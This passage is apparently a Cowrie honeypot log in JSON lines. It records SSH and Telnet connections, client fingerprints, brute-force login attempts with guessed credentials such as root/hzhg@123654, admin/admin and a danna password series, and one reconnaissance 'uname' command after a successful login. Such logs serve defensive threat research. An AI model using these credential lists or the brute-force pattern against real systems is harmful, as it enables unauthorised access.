{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45736,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a60e0680429","protocol":"ssh","message":"New connection: 193.32.162.145:45736 (10.17.0.5:22) [session: 5a60e0680429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:23.469163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:23.473610Z","src_ip":"193.32.162.145","session":"5a60e0680429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:23.573742Z","src_ip":"193.32.162.145","session":"5a60e0680429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:23.898080Z","src_ip":"193.32.162.145","session":"5a60e0680429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:25.003179Z","src_ip":"193.32.162.145","session":"5a60e0680429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34222,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee90caab60bc","protocol":"ssh","message":"New connection: 103.15.226.202:34222 (10.17.0.5:22) [session: ee90caab60bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:36.881575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:36.886614Z","src_ip":"103.15.226.202","session":"ee90caab60bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:37.137580Z","src_ip":"103.15.226.202","session":"ee90caab60bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hzhg@123654","message":"login attempt [root/hzhg@123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:37.887447Z","src_ip":"103.15.226.202","session":"ee90caab60bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:39.140913Z","src_ip":"103.15.226.202","session":"ee90caab60bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.245.71.245","src_port":11443,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ddcb1377ad","protocol":"telnet","message":"New connection: 177.245.71.245:11443 (10.17.0.5:23) [session: 53ddcb1377ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:49.510799Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12983,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb0800bf28a","protocol":"telnet","message":"New connection: 212.55.149.117:12983 (10.17.0.5:23) [session: bdb0800bf28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:57.773503Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":47558,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9deb9f4633","protocol":"ssh","message":"New connection: 213.209.159.56:47558 (10.17.0.5:22) [session: 1c9deb9f4633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:58.147693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:58.157218Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:58.241034Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna","message":"login attempt [danna/danna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:58.650079Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna1","message":"login attempt [danna/danna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:32:59.736592Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna123","message":"login attempt [danna/danna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:00.823771Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna1234","message":"login attempt [danna/danna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:01.914980Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna12345","message":"login attempt [danna/danna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:03.003519Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.477315425872803,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:03.988019Z","src_ip":"177.245.71.245","session":"53ddcb1377ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:04.090939Z","src_ip":"213.209.159.56","session":"1c9deb9f4633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6519,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae1565e7035","protocol":"telnet","message":"New connection: 212.55.149.117:6519 (10.17.0.5:23) [session: cae1565e7035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:09.668563Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.97.233.167","src_port":58974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a631fd2028f3","protocol":"telnet","message":"New connection: 190.97.233.167:58974 (10.17.0.5:23) [session: a631fd2028f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:11.380624Z"}
{"eventid":"cowrie.session.closed","duration":12.727769374847412,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:24.108289Z","src_ip":"190.97.233.167","session":"a631fd2028f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57565,"dst_ip":"10.17.0.5","dst_port":23,"session":"8656e19f39ae","protocol":"telnet","message":"New connection: 212.55.149.117:57565 (10.17.0.5:23) [session: 8656e19f39ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:54.833813Z"}
{"eventid":"cowrie.session.closed","duration":58.80211281776428,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:33:56.575489Z","src_ip":"212.55.149.117","session":"bdb0800bf28a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.78338384628296,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:11.451814Z","src_ip":"212.55.149.117","session":"cae1565e7035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37138,"dst_ip":"10.17.0.5","dst_port":22,"session":"87fa63992e72","protocol":"ssh","message":"New connection: 193.32.162.145:37138 (10.17.0.5:22) [session: 87fa63992e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:39.859784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:39.933603Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:39.958935Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:40.361412Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:40.616760Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:40.620329Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:40.724510Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:40.730301Z","src_ip":"193.32.162.145","session":"87fa63992e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.86959743499756,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:34:57.703311Z","src_ip":"212.55.149.117","session":"8656e19f39ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63375,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e01b100c68","protocol":"telnet","message":"New connection: 212.55.149.117:63375 (10.17.0.5:23) [session: 19e01b100c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:04.562439Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43470,"dst_ip":"10.17.0.5","dst_port":22,"session":"408e3e2a6f62","protocol":"ssh","message":"New connection: 103.15.226.202:43470 (10.17.0.5:22) [session: 408e3e2a6f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:17.407040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:17.412301Z","src_ip":"103.15.226.202","session":"408e3e2a6f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:17.659209Z","src_ip":"103.15.226.202","session":"408e3e2a6f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coconut123","message":"login attempt [root/coconut123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:18.400498Z","src_ip":"103.15.226.202","session":"408e3e2a6f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:19.649994Z","src_ip":"103.15.226.202","session":"408e3e2a6f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.243.18","src_port":53478,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4eb160004f","protocol":"ssh","message":"New connection: 138.68.243.18:53478 (159.203.135.109:22) [session: 8b4eb160004f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.421687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.426551Z","src_ip":"138.68.243.18","session":"8b4eb160004f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.491201Z","src_ip":"138.68.243.18","session":"8b4eb160004f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.624022Z","src_ip":"138.68.243.18","session":"8b4eb160004f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.690073Z","src_ip":"138.68.243.18","session":"8b4eb160004f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":23542,"dst_ip":"159.203.135.109","dst_port":22,"session":"d594bd8fa9df","protocol":"ssh","message":"New connection: 130.12.180.51:23542 (159.203.135.109:22) [session: d594bd8fa9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.853379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.859599Z","src_ip":"130.12.180.51","session":"d594bd8fa9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp5